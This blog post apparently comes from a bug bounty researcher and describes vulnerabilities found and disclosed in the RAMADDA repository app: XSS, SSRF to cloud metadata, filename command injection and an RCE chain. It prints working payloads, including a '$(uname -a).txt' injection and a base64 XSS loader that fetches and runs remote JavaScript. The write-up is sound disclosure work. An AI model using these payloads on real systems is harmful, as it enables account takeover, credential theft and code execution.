Post

Hacking RAMADDA, White Box Web Apps, and Bug Bounty Tips

Hacking RAMADDA, White Box Web Apps, and Bug Bounty Tips

> Note: disregard any layout/content/formatting errors as this post was migrated from wordpress to jekyll

As mentioned in a previous post, I was the July RotM for the DoD VDP program. I decided I’d try and win again in August, despite not usually focusing on VDPs. I ended up finding RAMADDA running on an in-scope subdomain, and it looked like it had a decent amount of functionality, which is always good for hacking. (Update: I did not win again, lol.)

RAMADDA does all sorts of stuff. It’s kind of a file repository, wiki, CMS, and more — all under one roof. But with all that functionality comes ample opportunity for vulnerabilities. So what do I usually do first when starting in on a web application?

In this case, I Googled around and looked for all the info I could on it, including the GitHub, official documentation, and user guide. Even if you don’t have access to source code, official documentation is gold. ALWAYS READ THE DOCS. Sometimes you’ll find just what you need — just like I did here.

If you’re lucky enough to find an open-source app or can decompile one, get debugging working. It’ll save you tons of time when troubleshooting payloads. In this case, RAMADDA is a Java app. Open the cloned repo in VSCode. Then run:

1
2
3
4
java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,address=5005,suspend=y \
-Xmx2056m -DLC_CTYPE=UTF-8 -Dsun.jnu.encoding=UTF-8 -Dfile.encoding=utf-8 \
-jar /Users/user/Downloads/ramadda/dist/ramaddaserver/lib/ramadda.jar \
-port 80 -Dramadda_home=/Users/user/.ramadda

After that, attach VSCode with Java Debug and set breakpoints.

At one point I had like 40 breakpoints and hit none. The app is complex — especially with all the file types it can upload. Here’s a screenshot from the docs of available file types (this one’s outdated — newer versions have even more):

Upload options


Static Analysis: ProcessBuilder

Once you have source or bytecode, run static analyzers. I like semgrep. Sometimes it finds legit bugs, but often it just shows interesting leads.

In RAMADDA, I saw heavy use of ProcessBuilder, a safer version of Runtime.exec. That became a focus area.


Low Hanging Fruit

When first testing a web app, I:

  • Proxy through Burp
  • Explore all functionality manually
  • Use Intruder/FFUF/Gobuster
  • Check HTML/JS

After a couple hours, I found:

Reflected XSS

1
http://localhost/repository/user/profile?user_id=%3Cbody%20onload=%22eval(atob(%27CmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk=%27))%22%3E

This fired due to a reflected username or similar field.

Later, a Burp active scan found this:

1
http://localhost/repository/search/type/group?max=10%3cimg%20src%3da%20onerror%3dalert(1)%3e&type=group&output=json

Stored, Blind XSS via User-Agent

In the admin log view, both request URL and User-Agent are displayed. The URL was escaped. User-Agent wasn’t.

Unauthenticated + persistent = nice blind XSS.

Blind XSS


Better Vulns

Password Change without Password

No current password needed to change an account’s password. Combine that with a CSRF-like token (authToken) that doesn’t rotate = exploitable.

Via XSS, I could:

  • Change admin password
  • Or create a new admin account (opsec-safe)

Developers: always prompt for credentials for sensitive changes.


Betterer Vulns (SSRF → AWS Keys)

RAMADDA’s docs recommend installing on Amazon Linux EC2 — and EC2 means one thing: SSRF to metadata.

If RAMADDA lets you fetch arbitrary URLs = danger.

RAMADDA lets you enter a URL and it’ll fetch it server-side. Most spots were filtered, but I found one vulnerable one.

I was able to:

  • SSRF into the metadata IP
  • Grab IAM creds

SSRF success


Command Injection in Download Scripts

RAMADDA generates wget scripts to help users download everything.

If you upload:

1
$(uname -a).txt

The resulting script executes it.

Here’s what a normal script looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
export DOWNLOAD_COMMAND="wget  --no-check-certificate ";
export ROOT="http://localhost";

makedir() {
  if ! test -e $1 ; then
    mkdir $1;
  fi
}

download() {
  echo "$1";
  touch "$2.tmp"
  ${DOWNLOAD_COMMAND}  -q   -O  "$2.tmp" "$3"
  if [[ $? != 0 ]] ; then
    echo "download failed url:$3"
    exit $?
  fi
  mv "$2.tmp" "$2"
}

makedir "RAMADDA Data Repository";
cd "RAMADDA Data Repository";
download "downloading metadata" ".this.ramadda.xml" "${ROOT}/repository/entry/show?entryid=..."
download "downloading test.txt" "test.txt" "${ROOT}/repository/entry/get/test.txt?entryid=..."

Every reference to test.txt becomes $(malicious).txt and gets executed when the script is run.

Command injection output


RCE via Configurable Binary

Admins can define properties like this:

1
ramadda.image.slicer=/path/to/my/binary.sh

RAMADDA will invoke that binary to slice images.

Exploit Steps:

  1. Hit admin with stored XSS → load malicious JS payload.
  2. Upload shell script.
  3. Navigate to admin → system → system disk to find upload path.
  4. Enable access to that disk via admin → settings → file system access.
  5. Set up a file system harvester for that directory.
  6. Use the repo UI to get the final on-disk filepath like /storage/y2023/m8/d22/UUID_myscript.sh
  7. Set the property:
    ramadda.image.slicer=/storage/y2023/m8/d22/UUID_myscript.sh
  8. Upload a zoomable image.
  9. RCE triggered via ProcessBuilder in ZoomifyTypeHandler.java (line 98/99).

Zoomify exploit line

1
http://localhost/repository/user/profile?user_id=%3Cbody%20onload=%22eval(atob('dmFyIHhocj1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4aHIub3BlbignR0VUJywnaHR0cHM6Ly9waXp6YXBvd2VyLm9yZy9wYXlsb2FkLmpzJyx0cnVlKTt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQmJnhoci5zdGF0dXM9PTIwMCl7YWRkU2NyaXB0VG9QYWdlKHhoci5yZXNwb25zZVRleHQpO319O3hoci5zZW5kKCk7ZnVuY3Rpb24gYWRkU2NyaXB0VG9QYWdlKHNjcmlwdENvbnRlbnQpe3ZhciBzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7c2NyaXB0LnR5cGU9J3RleHQvamF2YXNjcmlwdCc7c2NyaXB0LnRleHQ9c2NyaXB0Q29udGVudDtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHNjcmlwdCk7fQo='))%22%3E

Demo Video

Honestly, creating an admin account via XSS would’ve been easier. But I wanted full RCE.


Final Notes

  • Always read the docs.
  • Always debug the app.
  • Always use static + dynamic analysis.
  • Always check JS. (I didn’t this time, lol)

The developer fixed everything in four hours. Respect.


Disclosure

Reported to DoD and Department of Commerce VDPs. No bounty — but got acknowledged.


Licensed under CC BY 4.0 by the author.

This post is licensed under CC BY 4.0 by the author.